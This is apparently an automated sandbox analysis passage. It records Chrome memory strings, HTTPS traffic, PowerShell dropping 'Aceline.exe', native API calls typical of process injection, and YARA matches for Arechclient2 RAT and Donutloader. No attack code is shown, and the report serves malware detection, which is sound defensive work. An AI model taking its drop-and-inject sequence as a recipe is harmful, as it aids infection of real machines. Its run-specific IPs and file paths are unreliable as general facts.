Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000E.00000002.2051190002.0000119000044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2056025052.0000119001154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2051190002.0000119000044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2081411131.0000146000044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2051190002.0000119000044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2081411131.0000146000044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2056025052.0000119001154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086004347.0000146001154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000002.2056025052.0000119001154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.json72.
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 00000011.00000003.2111100261.00004C5800E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 0000000E.00000002.2054363343.0000119000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/android/translate_ranker_
Source: chrome.exe, 0000000E.00000002.2052865239.000011900060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2074491157.0000146000610000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2120252056.00004C5800610000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jegs.com/webapp/wcs/stores/servlet/OrderItemDisplay
Source: chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130693371.00004C58013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130759043.00004C58013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.privacysandbox.com
Source: chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130693371.00004C58013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2130759043.00004C58013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.privacysandbox.comForcedOn_PrivacySandboxSettingsForcedOff_PrivacySandboxSettingsBlockIn
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.privacysandbox.comb

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.254:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.239.236.43:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.172:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.178:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.64.254:443 -> 192.168.2.5:49754 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.Aceline.exe.26b45750000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.Aceline.exe.26b3d1b9ac0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.Aceline.exe.26b45750000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, type: MEMORY	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Aceline.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Code function: 10_3_0000019A31120F7A NtAllocateVirtualMemory,NtFreeVirtualMemory,	10_3_0000019A31120F7A
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Code function: 10_3_0000019A311213D5 NtTerminateThread,	10_3_0000019A311213D5
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Code function: 10_3_0000019A31120E04 NtSetContextThread,NtResumeThread,	10_3_0000019A31120E04
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_3_0000026B2CAC1D98 NtClose,	13_3_0000026B2CAC1D98
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_3_0000026B2CAC0E04 NtSetContextThread,NtResumeThread,	13_3_0000026B2CAC0E04
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_3_0000026B2CAC13D5 NtTerminateThread,	13_3_0000026B2CAC13D5
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_3_0000026B2CAC0F7A NtAllocateVirtualMemory,NtFreeVirtualMemory,	13_3_0000026B2CAC0F7A
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95FAC9 NtProtectVirtualMemory,NtProtectVirtualMemory,	13_2_0000026B2C95FAC9
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C9600B9 NtProtectVirtualMemory,	13_2_0000026B2C9600B9
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95DEB9 NtOpenSection,	13_2_0000026B2C95DEB9
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95D7E9 NtAllocateVirtualMemoryEx,	13_2_0000026B2C95D7E9
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95D4D9 NtProtectVirtualMemory,	13_2_0000026B2C95D4D9
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95F329 NtProtectVirtualMemory,NtProtectVirtualMemory,	13_2_0000026B2C95F329
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95DB19 NtFreeVirtualMemory,	13_2_0000026B2C95DB19
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95F019 NtClose,	13_2_0000026B2C95F019
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C95EA49 NtCreateThreadEx,NtSetInformationThread,	13_2_0000026B2C95EA49
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_2_0000026B2C9704B9 NtSetSecurityObject,	13_2_0000026B2C9704B9

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Code function: 10_3_0000019A30F91349	10_3_0000019A30F91349
Source: C:\Users\user\AppData\Local\Aceline.exe	Code function: 13_3_0000026B2CAB1349	13_3_0000026B2CAB1349
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 14_2_00007FF7B53F70DA	14_2_00007FF7B53F70DA
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 14_2_00007FF7B53F39ED	14_2_00007FF7B53F39ED
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 14_2_00007FF7B53F0DC7	14_2_00007FF7B53F0DC7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 14_2_00007FF7B53F4A0D	14_2_00007FF7B53F4A0D
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C1A46	16_2_00007FF7B53C1A46
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C54A3	16_2_00007FF7B53C54A3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C70D5	16_2_00007FF7B53C70D5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C0DC7	16_2_00007FF7B53C0DC7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C42F3	16_2_00007FF7B53C42F3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C1B0F	16_2_00007FF7B53C1B0F
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C30B8	16_2_00007FF7B53C30B8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C11D1	16_2_00007FF7B53C11D1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 16_2_00007FF7B53C2467	16_2_00007FF7B53C2467
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 17_2_00007FF7B53D70DA	17_2_00007FF7B53D70DA
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 17_2_00007FF7B53D39ED	17_2_00007FF7B53D39ED
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 17_2_00007FF7B53D0DC7	17_2_00007FF7B53D0DC7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 17_2_00007FF7B53D4A0D	17_2_00007FF7B53D4A0D
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 18_2_00007FF7B54070DA	18_2_00007FF7B54070DA
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 18_2_00007FF7B54039ED	18_2_00007FF7B54039ED
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 18_2_00007FF7B5400DC7	18_2_00007FF7B5400DC7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Code function: 18_2_00007FF7B5404A0D	18_2_00007FF7B5404A0D

Source: 13.2.Aceline.exe.26b45750000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.Aceline.exe.26b3d1b9ac0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.Aceline.exe.26b45750000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 13.2.Aceline.exe.7ff421c4128d.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0000000D.00000002.2114186141.0000026B45750000.00000004.10000000.00040000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0000000D.00000002.2114653589.00007FF421C40000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

